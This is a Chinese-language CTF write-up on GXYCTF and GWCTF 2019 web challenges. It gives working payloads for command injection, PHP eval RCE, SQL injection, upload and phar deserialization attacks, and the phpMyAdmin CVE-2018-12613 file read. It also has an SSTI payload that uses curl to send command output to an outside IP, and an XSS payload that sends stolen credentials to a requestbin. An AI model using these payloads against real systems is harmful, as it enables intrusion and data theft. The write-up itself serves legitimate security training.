GXYCTF 2019
Ping Ping Ping
進入題目後,提示了
/?ip=
,于是加上參數
?ip=1
試試看,發現是執行了ping指令:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnLxIjN5IzN1IjM5EjMwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
然後嘗試:
?ip=;ls
發現成功執行了指令,但是當讀取 flag.php 時,發現過了空格,嘗試下面兩種繞過方式
${IFS}
$IFS$9
使用第二個
$IFS$9
代替空格成功繞過,執行
?ip=;cat$IFS$9flag.php
,發現 flag 也被過濾了,且通配符
*
同樣被過濾了,那我們先讀一下
index.php
:
可以看到源碼,的确過濾了一些特殊符号、空格和flag,下面有兩種方式可以繞過:
(1)可以使用變量的方式來繞過,隻要 f、l、a、g 四個字母不按照順序即可,payload如下:
?ip=;z=g;cat$IFS$9fla$z.php
(2)我們發現代碼中沒有過濾反引号,那麼可以内聯執行指令,即用反引号内執行的輸出作為另一個指令的輸入執行,payload如下:
?ip=;cat$IFS$9`ls`
flag在源碼中:
禁止套娃
掃目錄發現.git洩露,利用GitHack得到index.php源碼如下:
<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到過濾部分可以看出是關于 PHP 的無參數RCE/讀檔案,可以參考我之前分析的 ByteCTF_2019 BoringCode
源碼可以看出 flag.php 就在目前目錄,不需要再跳轉目錄,于是使用如下payload列一下檔案:
?exp=print_r(scandir(pos(localeconv())));
這裡的flag.php不在最後一個,是以不能像ByteCTF那一題一樣直接用
end()
函數,但是這一題并沒有過濾下劃線
_
,于是可操作性又增加了。
我們可以使用
array_reverse()
函數反轉數組,這樣
flag.php
就在第二個位置了,然後使用
next()
函數即可取到,payload如下:
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
BabySQli
随手測試,通過回顯可以發現存在 admin 賬号,應該是通過注入登入 admin 賬号,同時得到一段提示,先base32再base64如下:
嘗試一般的萬能密碼,發現被過濾了,既然提示了我們sql語句,那麼肯定是要根據sql語句來構造,于是猜測:
根據使用者名查詢到使用者資訊:$user = select * from user where username = '$name';
然後判斷:$user->password === md5($password);
并且通過union聯合注入測試出有3列,猜測為
id,username,password
,于是可以嘗試如下payload:
name=-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
上面的意思就是:-1不存在,聯合查詢的結果會是後面我們構造的
1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'
,正好對應的資料庫中的三列,也就構造了一個密碼可控的admin使用者傳回。這裡的md5值實際上也就是我們後面填在密碼框中的任意密碼。(md(1)=c4ca4238a0b923820dcc509a6f75849b)
進而實作了任意密碼登入,可以得到flag:
BabyUpload
進入題目後,直接是一個上傳頁面,經過測試發現:
- 過濾了MIME隻能為:
image/jpeg
- 黑名單過濾了檔案字尾不能為php
- 過濾了檔案内容中的php标簽,可以使用
繞過<script language='php'></script>
于是我們修改 MIME 上傳 .htaccess 檔案:
然後上傳 shell.jpg 如下:
注:這裡網上有的wp說原題要條件競争,但是我在buu上複現的時候好像不需要…
兩個檔案上傳後便可以成功通路并執行代碼:
在 disabled_functions 中禁用了系統函數,那麼我們直接讀檔案就好了,先列目錄:
?cmd=print_r(scandir('/'));
讀檔案:
?cmd=readfile('/flag');
BabysqliV3.0
首先是一個登入,使用弱密碼
admin/password
即可成功登入,登陸後如下:
且url中有
?file=upload
參數,于是嘗試檔案包含:
?file=php://filter/convert.base64-encode/resource=upload
得到 upload.php 源碼如下:
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET[' ']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ //phar
$this->Filename = $_GET['name']; //檔案名可控
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上傳的檔案:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
解法一(非預期解)
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name']; //檔案名可控
}else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
由上面的代碼可以看到檔案名我們是可以通過 name 參數傳入的,雖然經過了過濾,但是這裡的正則寫的有問題,都多比對了空格,是以等于沒有過濾任何東西,導緻了非預期。
中一種就是直接上傳shell,然後通過參數name修改檔案名問php檔案,直接通路即可。
然後:
?cmd=system('cat ../../flag.php');
解法二(phar反序列化)
實際上這道題的預期解是通過phar反序列化,也就是利用了 file_get_contents() 函數來實作反序列化。
file_get_contents()
函數的參數是
Uploader()
類的一個對象,是以作為參數時會調用它的
__toString()
方法進而傳回
$this->Filename
,而這個
Filename
是我們可控的。
還注意到上傳檔案的預設檔案名是用
$_SESSION['user']
設定,是以我們随意上傳一個檔案就可以得到token的值了。
腳本如下:
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$this->cmd = "readfile('./flag.php')";
$this->token = "GXYc9a4bf152e1373381102b95a440f4968";
}
}
$o = new Uploader;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将得到的phar檔案上傳得到路徑:
然後再次上傳檔案并加上參數 name 進而除法phar發序列化:
StrongestMind
進入頁面後,發現如下算式:
看來需要寫個腳本送出一千次正确答案,腳本如下:
import requests
import re
s = requests.Session()
url = "http://289777ed-2c71-46ec-ad64-00ba9f0b09e6.node3.buuoj.cn/index.php"
r = s.post(url)
count = 0
while count != 1001:
expr = re.search(r"(\d+)( \+ | - )(\d+)", r.text).group()
answer = eval(expr)
data = {"answer": answer}
while True:
r = s.post(url, data=data)
if r.status_code == 200:
break
count = count + 1
print(count)
print(r.text)
中間用While循環來送出請求是因為在 BUUCTF 平台上面跑的,沒隔一段時間就會傳回一次404好像…原題應該沒必要這樣
結果如下:
GWCTF 2019
我有一個資料庫
掃描目錄可以發現 phpadmin,經過搜尋,這裡是CVE-2018-12613,可以直接使用vulhub裡的poc:https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md
/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd
成功包含,然後直接讀取根目錄下的/flag,即可:
枯燥的抽獎
進入題目後,讓猜字元串,通過js代碼可以看到結果是發送的check.php,通路如下:
代碼審計發現這裡是考php的随機數種子爆破,參考2018SWPUCTF的一題:https://xz.aliyun.com/t/3656#toc-3
先使用如下腳本轉換随機數:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'aefhPEHpRX'
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
break
print(res)
得到:
0 0 0 61 4 4 0 61 5 5 0 61 7 7 0 61 51 51 0 61 40 40 0 61 43 43 0 61
15 15 0 61 53 53 0 61 59 59 0 61
然後理由php-mt-seed工具,進行爆破種子如下:
然後再用得到的種子生成題目中要求的随機數即可:
<?php
mt_srand(50222027);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
你的名字
進入題目後輸入名字會進行回顯,雖然是index.php的路由,但是從傳回頭可以看出是python的後端,那麼就很想是SSTI了:
經過測試,過濾了
{{}}
,隻要使用就會報錯,既然隻能使用
{%%}
語句,那麼很顯然就需要盲注,我們構造payload如下:
但是經過測試,
if
、
os
、
class
、
mro
這些關鍵詞會被替換為空,發現
config
也會被替換為空,這樣我們就可以使用
iconfigf
、
oconfigs
的方式進行繞過,我們可以利用curl指令将執行結果帶出(在BUUCTF裡開一台内網的主機來操作),payload如下:
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`ls \|base64`') %}1{% endiconfigf %}
然後再讀flag即可:
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`cat /flag_1s_Hera|base64`') %}1{% endiconfigf %}
mypassword
進入題目後,先注冊一個賬号并登入:
隻有兩個功能,在FeedBack頁面送出回報和在List頁面列出并檢視已送出的回報(List頁面雖然有id參數,但是根據測試和提示,判斷并無SQL注入)。
在FeedBack頁面檢視源碼,可以看到如下提示:
if(is_array($feedback)){
echo "<script>alert('回報不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
過濾了很多字元,但是經過測試,繞過思路與你的名字那題類似,即在關鍵詞中間插入cookie進行繞過,如使用 scricookiept 繞過 script 的過濾。
于是嘗試盜取管理者Cookie,但是發現存在CSP,不能引入外部js:
于是檢視./js/login,.s檔案:
發現記住密碼功能會從Cookie中提取使用者名和密碼,并賦給username和password,于是我們可以利用這個内部js構造如下payload:
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://http.requestbin.buuoj.cn/10l5f0o1?a="+res;
</scricookiept>
我們利用buuctf提供的requestbin進行接收,也可以利用vps接收。
送出之後等待管理者點選即可,密碼就是flag:
blog
進入頁面後,首先注冊并登入進去,隻有一個上傳功能,我們看到url中有
page=index
參數,于是嘗試一下檔案包含,但是提示不是admin:
于是我們來看這個上傳功能,雖然可以上傳php檔案,但是并沒有給出路徑,而且上傳後會回顯檔案名,和RCTF 2015 upload一題很類似,于是我們嘗試利用檔案名進行二次注入。
首先測試一下過濾了哪些東西,随便上傳一個檔案然後抓包改檔案名:
從檔案名可以看到除了or以外都被替換為空了:
除此之外還過濾了一些其他關鍵詞,不過經測試都可以用雙寫來繞過的,空格用嵌套括号繞過。
于是我們先構造一個payload如下,原理可以參考我RCTF那道題的Writeup。
'+(selselectect(conv(hex(substr(database(),1,5)),16,10)))+'
可以看到檔案名傳回了一串10進制,轉16進制再轉字元得到:
bytect
。
然後修改substr截取的位置,得到資料庫名:
bytectf
。
(之是以要一段一段讀是因為如果一次讀太多的話會用科學計數法表示,就無法轉回字元串了。)
用上述思路,我們可以一步步注入出管理者的密碼:
表名payload:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.tables)whewherere(table_schema='bytectf')),1,5)),16,10)))+'
依次移動截取的位置得到:
轉字元串得到:
字段名注入類似,共有id、username、password、ip、admin五列。
最後我們可以用如下payload得到管理者密碼:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(username='admin')),1,5)),16,10)))+'
不斷拼接并轉碼得到md5:
3814d79033f6fc9c1d3cf002a1f92100
線上網站可得到明文密碼:
kotori912
成功登入admin賬戶:
下面我們就先再試一下檔案包含,獲得提示:
You can try to read picture file.
嘗試上傳檔案發現會顯示
illegal ip
,但是Cookie裡包含了cipher、plain、encrypt三個字段:
cipher=ZGRkZGhtZGRkZGhtT3J6MAQMOJb//iirvKap+mfDh7hTUOCjShL6T4pmnpOotVOJ
plain=eyJpc19hZG1pbiI6dHJ1ZSwiaXAiOmZhbHNlfQ==
encrypt=cbc
plain直接base64解密得到:
{"is_admin":true,"ip":false}
再結合cbc的提示,判斷利用CBC位元組翻轉攻擊将将ip的值轉為true。
然後。。
然後就卡住了,一直沒有成功…太菜了。。等之後密碼學好一點再來分析